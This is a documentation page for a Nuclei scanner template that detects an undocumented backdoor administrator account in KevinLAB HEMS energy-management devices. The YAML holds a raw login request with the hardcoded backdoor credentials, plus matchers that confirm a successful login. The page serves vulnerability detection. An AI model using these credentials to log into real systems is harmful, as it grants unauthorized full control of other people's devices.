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KevinLAB HEMS - Backdoor Detection

ID: kevinlab-hems-backdoor

Severity: critical

Author: gy741

Tags: kevinlab,default-login,backdoor

Description

Section titled “Description”

KevinLAB HEMS has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the HEMS is offering remotely.

YAML Source

Section titled “YAML Source”
id: kevinlab-hems-backdoor


info:
  name: KevinLAB HEMS - Backdoor Detection
  author: gy741
  severity: critical
  description: |
    KevinLAB HEMS has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the HEMS is offering remotely.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php
  metadata:
    max-request: 1
  tags: kevinlab,default-login,backdoor


http:
  - raw:
      - |
        POST /dashboard/proc.php?type=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Accept-Encoding: gzip, deflate
        Connection: close


        userid=kevinlab&userpass=kevin003


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<meta http-equiv="refresh" content="0; url=/"></meta>'


      - type: word
        words:
          - '<script> alert'
        negative: true


      - type: word
        part: header
        words:
          - 'PHPSESSID'


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ae804a944e4e13b176e217053bbd5c4d03a3a80769a53a1e4c30342405d21895022100807d2f726be0765222349a6b99206867e77c1483247aaad68888d8be66660180:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/backdoor/kevinlab-hems-backdoor.yaml"

View on Github